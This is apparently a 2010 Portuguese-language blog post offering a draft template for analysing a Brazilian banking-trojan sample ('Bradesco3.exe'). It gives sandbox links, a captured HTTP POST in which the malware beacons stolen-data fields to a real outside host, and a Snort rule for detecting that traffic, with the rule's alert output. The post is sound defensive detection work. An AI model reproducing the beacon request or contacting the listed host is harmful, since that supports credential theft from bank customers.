Exemplo de Analise e Regra
Autor: Rodrigo Sp0oKeR Montoro | Publicado: 2010-09-27T11:36:00-07:00

Caros,

Estou postando aqui uma análise BEM básica mas acredito que seja um rascunho que podemos certamente melhorar .


File: Bradesco3.exe

Imagem Phishing: Quando recebe por email colocamos um screenshot aqui 

Online Analysis:
http://anubis.iseclab.org/?action=result&amp;task_id=1f292cd7c26bd99f4e1d6d24fb47ecf8a&nbsp;
http://www.virustotal.com/analisis/abc8be44fddf6e2b22e760b5ea695182f8e4b9080201f47f7227be018b27f8be-1279631400 
Part of TCP Traffic that rules were based 
&nbsp;
POST /banner_inc.php HTTP/1.1
Content-Length: 22
Host: www.shanhaiichiba.com
Accept: */*
Keep-Alive: 300
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET  CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

T=C&amp;DADOS=PWD&amp;NOME=pc2HTTP/1.1 200 OK
Date: Tue, 20 Jul 2010 13:02:02 GMT
Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.13
Content-Length: 0
Keep-Alive: timeout=30, max=100
Connection: Keep-Alive
Content-Type: text/html

Snort Rule
&nbsp;
# Rule Created 20/07/2010
# Bradesco Plugin 
alert  tcp $HOME_NET any -&gt; $EXTERNAL_NET $HTTP_PORTS&nbsp; (msg:"Bradesco  Malware Communication Detected (plugin.exe)"; flow:established;  uricontent:"&amp;DADOS=";http_client_body;content:"&amp;NOME=";http_client_body; sid:100000000;rev:1; )

Simulation 

07/20-10:02:03.221920&nbsp; [**] [1:100000000:1] Bradesco Malware Communication Detected (plugin.exe) [**] [Priority: 0] {TCP} 192.168.0.2:1038 -&gt; 74.81.93.227:80

07/20-10:02:03.221920 52:54:0:12:34:56 -&gt; 92:27:FC:57:72:BB type:0x800 len:0x18A 
192.168.0.2:1038 -&gt; 74.81.93.227:80 TCP TTL:128 TOS:0x0 ID:1802 IpLen:20 DgmLen:380 DF
***AP*** Seq: 0xBA9DCDE7&nbsp; Ack: 0xA208E838&nbsp; Win: 0x4470&nbsp; TcpLen: 20
50 4F 53 54 20 2F 62 61 6E 6E 65 72 5F 69 6E 63&nbsp; POST /banner_inc
2E 70 68 70 20 48 54 54 50 2F 31 2E 31 0D 0A 43&nbsp; .php HTTP/1.1..C
6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 32&nbsp; ontent-Length: 2
32 0D 0A 48 6F 73 74 3A 20 77 77 77 2E 73 68 61&nbsp; 2..Host: www.sha
6E 68 61 69 69 63 68 69 62 61 2E 63 6F 6D 0D 0A&nbsp; nhaiichiba.com..
41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 4B 65 65&nbsp; Accept: */*..Kee
70 2D 41 6C 69 76 65 3A 20 33 30 30 0D 0A 55 73&nbsp; p-Alive: 300..Us
65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C&nbsp; er-Agent: Mozill
61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C&nbsp; a/4.0 (compatibl
65 3B 20 4D 53 49 45 20 36 2E 30 3B 20 57 69 6E&nbsp; e; MSIE 6.0; Win
64 6F 77 73 20 4E 54 20 35 2E 31 3B 20 53 56 31&nbsp; dows NT 5.1; SV1
3B 20 2E 4E 45 54 20 43 4C 52 20 32 2E 30 2E 35&nbsp; ; .NET CLR 2.0.5
30 37 32 37 3B 20 2E 4E 45 54 20 43 4C 52 20 33&nbsp; 0727; .NET CLR 3
2E 30 2E 30 34 35 30 36 2E 36 34 38 3B 20 2E 4E&nbsp; .0.04506.648; .N
45 54 20 43 4C 52 20 33 2E 35 2E 32 31 30 32 32&nbsp; ET CLR 3.5.21022
29 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A&nbsp; )..Content-Type:
20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77&nbsp;&nbsp; application/x-w
77 77 2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64&nbsp; ww-form-urlencod
65 64 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20&nbsp; ed..Connection: 
6B 65 65 70 2D 61 6C 69 76 65 0D 0A 0D 0A 54 3D&nbsp; keep-alive....T=
43 26 44 41 44 4F 53 3D 50 57 44 26 4E 4F 4D 45&nbsp; C&amp;DADOS=PWD&amp;NOME
3D 70 63 32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =pc2

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 

Output performance (basic match using rule2alert) - in future&nbsp;


Após isso podemos aguardar comentários e sugestões e depois adicionar ao malwares-br.rules .


O que acham ? O que podemos adicionar&nbsp; ?


Happy Snorting!